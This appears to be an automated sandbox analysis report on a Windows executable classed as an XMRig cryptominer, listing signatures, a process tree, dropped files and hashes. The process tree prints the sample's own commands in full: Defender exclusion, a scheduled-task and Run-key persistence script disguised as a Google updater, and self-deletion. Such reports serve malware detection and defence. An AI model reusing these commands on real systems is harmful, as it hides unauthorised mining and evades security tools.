Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    419s
  • max time network
    1797s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1216
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2592
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1460
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:2720
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2460
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:1212
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2952
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2588
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {BFA7C091-C6BD-433F-9BCB-1089BA33DB4F} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2960
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2984
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2948
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          1⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:648

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 369KB
              • SHA256 06a374110e220cfcaf2e1df450700b7f1c9f78b4c56bccf62e448ac248effc44
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 394KB
              • SHA256 9b0362c8910531a737d14a5ae8da00d44b576cdd0d75b136cc050ccb1d738cb2
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              RTPPREPW3GCILH7SU1YC.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RTPPREPW3GCILH7SU1YC.temp
              • Size 7KB
              • SHA256 07405d07bbc71e5b353fbc692bcd56bade1bdaa6e5b58cb8f07c09a18a01e313
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 398KB
              • SHA256 cbc1717162ad89ad95a7be198ed93739f5246a462d9182ac9460c395246a14b0
              • MD5 SHA1 SHA512 SSDEEP

              memory/1460-57-0x0000000001620000-0x00000000016A0000-memory.dmp

              memory/1460-56-0x0000000001620000-0x00000000016A0000-memory.dmp

              memory/1460-55-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/1460-53-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/1460-59-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/1460-58-0x0000000001620000-0x00000000016A0000-memory.dmp

              memory/1460-54-0x0000000001620000-0x00000000016A0000-memory.dmp

              memory/1964-51-0x0000000001490000-0x0000000001510000-memory.dmp

              memory/1964-52-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/1964-50-0x0000000001490000-0x0000000001510000-memory.dmp

              memory/1964-46-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/1964-47-0x0000000001490000-0x0000000001510000-memory.dmp

              memory/1964-49-0x0000000001490000-0x0000000001510000-memory.dmp

              memory/1964-48-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/2460-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-140-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-138-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-68-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-67-0x0000000000110000-0x0000000000130000-memory.dmp

              memory/2460-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-76-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2460-75-0x00000000001A0000-0x00000000001C0000-memory.dmp

              memory/2460-69-0x00000000001A0000-0x00000000001C0000-memory.dmp

              memory/2460-70-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2460-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2460-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2500-38-0x0000000002B40000-0x0000000002BC0000-memory.dmp

              memory/2500-35-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/2500-36-0x0000000002B40000-0x0000000002BC0000-memory.dmp

              memory/2500-41-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/2500-37-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/2500-40-0x0000000002B40000-0x0000000002BC0000-memory.dmp

              memory/2500-39-0x0000000002B40000-0x0000000002BC0000-memory.dmp

              memory/2668-27-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/2668-25-0x0000000002A60000-0x0000000002AE0000-memory.dmp

              memory/2668-24-0x0000000002A60000-0x0000000002AE0000-memory.dmp

              memory/2668-19-0x000000001B590000-0x000000001B872000-memory.dmp

              memory/2668-21-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/2668-22-0x0000000002A60000-0x0000000002AE0000-memory.dmp

              memory/2668-20-0x00000000022E0000-0x00000000022E8000-memory.dmp

              memory/2668-23-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

              memory/2668-26-0x0000000002A60000-0x0000000002AE0000-memory.dmp

              memory/2932-0-0x000000013F620000-0x000000013F831000-memory.dmp

              memory/2932-29-0x000000013F620000-0x000000013F831000-memory.dmp

              memory/2952-77-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2952-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2984-45-0x000000013FDE0000-0x000000013FFF1000-memory.dmp

              memory/2984-66-0x000000013FDE0000-0x000000013FFF1000-memory.dmp

              memory/3048-13-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/3048-11-0x0000000002B10000-0x0000000002B90000-memory.dmp

              memory/3048-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/3048-10-0x0000000002B10000-0x0000000002B90000-memory.dmp

              memory/3048-8-0x0000000002B10000-0x0000000002B90000-memory.dmp

              memory/3048-9-0x0000000002B10000-0x0000000002B90000-memory.dmp

              memory/3048-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

              memory/3048-6-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

              memory/3048-5-0x000000001B510000-0x000000001B7F2000-memory.dmp